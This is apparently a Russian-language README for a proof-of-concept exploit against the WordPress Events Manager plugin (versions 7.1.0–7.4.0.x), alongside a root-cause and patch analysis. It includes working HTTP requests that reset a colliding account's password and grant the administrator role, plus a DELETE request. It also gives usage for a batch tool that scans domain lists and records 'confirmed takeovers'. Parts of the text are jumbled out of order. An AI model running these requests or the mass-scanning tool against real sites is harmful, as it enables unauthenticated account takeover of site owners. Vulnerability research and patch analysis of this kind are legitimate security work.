
Неаутентифицированный PoC повышения привилегий для WordPress Events Manager < 7.4.1; обнаруживает конфликтующие ID записей/пользователей и повышает привилегии целевых учётных записей до администратора через REST или wp-admin.
| Продукт | Events Manager (плагин WordPress) |
| Затронутые версии | 7.1.0 – 7.4.0.x |
| Исправленная версия | 7.4.1 |
| Уязвимость | CWE-269: Некорректное управление привилегиями |
| Серьёзность | CVSS 3.1: 9.8 (критическая) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Первоначальный исследователь | Jakub Herman |
| Разбор и PoC | ghostpel |
poc.py).Версии Events Manager с 7.1.0 по 7.4.0.x содержат уязвимость повышения привилегий, которая позволяет полностью неаутентифицированному атакующему захватить любую учётную запись пользователя, чей ID совпадает с ID одной из собственных записей плагина (event / location / event-recurring / location-recurring). Коллизию можно принудительно вызвать на сайтах с включёнными гостевыми бронированиями (по умолчанию): каждое гостевое бронирование создаёт реальную учётную запись пользователя и увеличивает счётчик автоинкремента wp_users на единицу, что позволяет атакующему «пройтись» по пространству пользовательских ID до ID записи event/location.
Корневая причина: фильтр map_meta_cap плагина отбрасывает уже вычисленный WordPress список возможностей ($caps = []) для любой мета-возможности, когда ID объекта этой возможности оказывается записью event/location — включая базовые возможности ядра WordPress, такие как edit_user, delete_user, promote_user и remove_user. Пустой список возможностей интерпретируется как «возможности не требуются» — то есть разрешено всем, включая неавторизованных пользователей.
Последствия (все без аутентификации, через WP REST API): смена пароля любой совпадающей учётной записи, повышение её до administrator или её удаление.
Проанализированная версия: 7.4.0.1 (уязвимая) — сравнена с 7.4.1 (исправленной).
| Версия | Статус |
|---|---|
| ≤ 7.0.5 | Не затронута (устаревший em_map_meta_cap обрабатывает только собственные возможности EM) |
| 7.1.0 – 7.4.0.x | Уязвима (система архетипов с ошибочным появилась в 7.1.0) |
map_meta_cap очищает $capsclasses/em-archetypes.php (версия 7.4.0.1):
Следствие: каждая проверка current_user_can('edit_user', X) / delete_user / promote_user / remove_user возвращает TRUE, когда X равен ID записи event/location. Плагин «отбрасывает решения контроля доступа, уже принятые WordPress» — именно так, как описано WPScan.
Проверено сравнением 7.4.0.1 с 7.4.1: теперь сброс защищён точным совпадением возможности в каждой ветке (например, && $c['read'][$post->post_type] == $cap), поэтому $caps очищается только когда запрошенная возможность действительно является архетипной мета-возможностью. Комментарий в патче: «Сброс при любой возможности с объектом опустошал список требований для несвязанных возможностей (например, edit_user, promote_user), что интерпретируется как разрешение».
У конечных точек REST для пользователей (/wp-json/wp/v2/users/{id}) нет глобального шлюза входа — контроль доступа осуществляется исключительно через колбэки прав, все из которых проходят через тот же фильтр map_meta_cap:
Побочный эффект: edit_comment также затронута, когда ID комментария случайно совпадает с ID записи event/location (таблица wp_comments использует то же числовое пространство).
Коллизия существует потому, что wp_users.ID и wp_posts.ID — независимые последовательности автоинкремента, которые неизбежно пересекаются. Гостевые бронирования форсируют её:
em-install.php:896 — dbem_bookings_anonymous = 1: гостевые бронирования включены по умолчанию; :871 dbem_bookings_registration_disable = 0 (регистрация включена).em-actions.php:340-344 — booking_add входит в $booking_nopriv_actions → вызывается без входа (через wp_ajax_nopriv_booking_add, приоритет 999999, строки :817-830, или wp_loaded :11).em-actions.php:360-375 — поток booking_add: → → → → . (Nonce — это только защита от CSRF: nonce выводится на публичной форме бронирования, поэтому его может получить кто угодно.)Вторичная цепочка, обнаруженная при аудите (атрибуция бронирования через person_id) — events-manager.php:430-437 (em_load_event, $EM_Person из $_REQUEST['person_id'] без входа), em-booking.php:1060-1072 (get_person() переопределяет person_id нового бронирования), em-booking.php:2004-2006 (can_manage() = TRUE для бронирования без ID), em-functions.php:448-449 — не изменена в 7.4.1; это отдельный вектор (неверная атрибуция бронирования), не являющийся сутью данного CVE.
/wp-json/wp/v2/event или перебор последовательных ID). Предположим, целевой ID — N.N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N принадлежит атакующему (пароль отправляется на адрес атакующего).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user проходят, потому что get_post(N) разрешается в запись event/location → $caps = [].
(Если (например, принадлежащая старому администратору) уже имеет ID , совпадающий с ID записи event, шаг 2 не нужен; атакующий напрямую захватывает эту учётную запись.)event/location).poc.pypoc.py — это асинхронный (asyncio + aiohttp) пакетный PoC, который для каждой цели: определяет версию EM по отпечатку (ограничиваясь уязвимым диапазоном [7.1, 7.4.1)), обнаруживает доступные снаружи ID записей EM (WP sitemap → /locations/, опционально — обход формы бронирования), проверяет обнаруженные ID на наличие существующей учётной записи (условие коллизии) и повышает привилегии тех, где коллизия найдена — через REST-канал или канал wp-admin, если передана сессия и REST заблокирован. Никакого слепого перебора пользовательских диапазонов, гостевых бронирований и создания учётных записей.
Прогонщик мультиплексирует весь ввод-вывод в одном цикле событий (почти 0% CPU при I/O-ожидании; -t ограничивает конкурентность, а не ядра), сканирует в цикле только ограниченные начальные фрагменты по 64 КиБ, выгружает тяжёлые парсинги (XML sitemap, пакет страницы обхода, профильная форма) в рабочие потоки через asyncio.to_thread и соблюдает задержку вежливости при каждой попытке загрузки страницы. Сама логика форсирования не изменилась (те же шлюзы, те же оракулы, та же проверка).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Требования: Python 3.9+, pip install aiohttp.
Результаты записываются в hasil.txt (подтверждённые захваты) и id-post.txt (каждый уязвимый домен, где были обнаружены ID записей EM, с collision=yes/no/unknown).
Примечание: этот PoC был независимо восстановлен по статическому анализу исходников 7.4.0.1 и диффа патча 7.4.1 — это не PoC от WPScan.
ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ. Запускайте исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. PoC выполняет обычные HTTP-запросы — без методов обхода; он может быть виден в логах/IDS.
dbem_bookings_anonymous), ограничьте пользовательские REST-конечные точки на уровне WAF и отслеживайте смену паролей, повышение ролей и удаление учётных записей.map_meta_cap| 7.4.1 | Исправлена |
| Строка | Код | Роль |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Глобальный безусловный фильтр — выполняется при каждой проверке мета-возможностей WordPress, включая возможности ядра и проверки для неавторизованных пользователей |
:547 | if ( !empty( $args[0] ) ) { | Объект возможности принимается как ID записи |
:548 | $post = get_post($args[0]); | Коллизия ID: ID целевого пользователя (для возможностей типа edit_user) обрабатывается как ID записи |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | Список возможностей отбрасывается безусловно — даже когда запрошенная возможность не является архетипной возможностью read/edit/delete_event |
:568/577/584 | ветки if/elseif | $caps заполняется повторно только когда $cap точно совпадает с архетипной мета-возможностью; для edit_user, delete_user, promote_user, remove_user не совпадает ни одна ветка → $caps остаётся пустым |
:597 | return $caps; | Пустой массив = «возможности не требуются» = РАЗРЕШЕНО для всех, включая пользователя с ID 0 |
| Действие | Конечная точка / функция ядра | Обойдённая возможность |
|---|
| Смена пароля целевой учётной записи | PUT /wp-json/wp/v2/users/{id} с {"password":"..."} → wp_update_user() (внутренняя проверка edit_user) | edit_user |
| Повышение учётной записи до администратора | PUT /wp-json/wp/v2/users/{id} с {"roles":["administrator"]} | promote_user |
| Удаление учётной записи | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (внутренняя проверка delete_user) | delete_user |
| (Мультисайт) удаление пользователя из блога | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — ветка гостя: em_register_new_user($user_data) с email атакующего.em-functions.php:510 — wp_insert_user($user_data) → автоинкремент wp_users увеличивается на 1 за каждое гостевое бронирование → атакующий контролирует скорость роста счётчика пользовательских ID, пока он не попадёт на нужный ID записи event/location (WPScan: «каждое гостевое бронирование создаёт реальную учётную запись и увеличивает счётчик пользовательских ID на единицу»).NDELETE /wp-json/wp/v2/users/M?reassign=N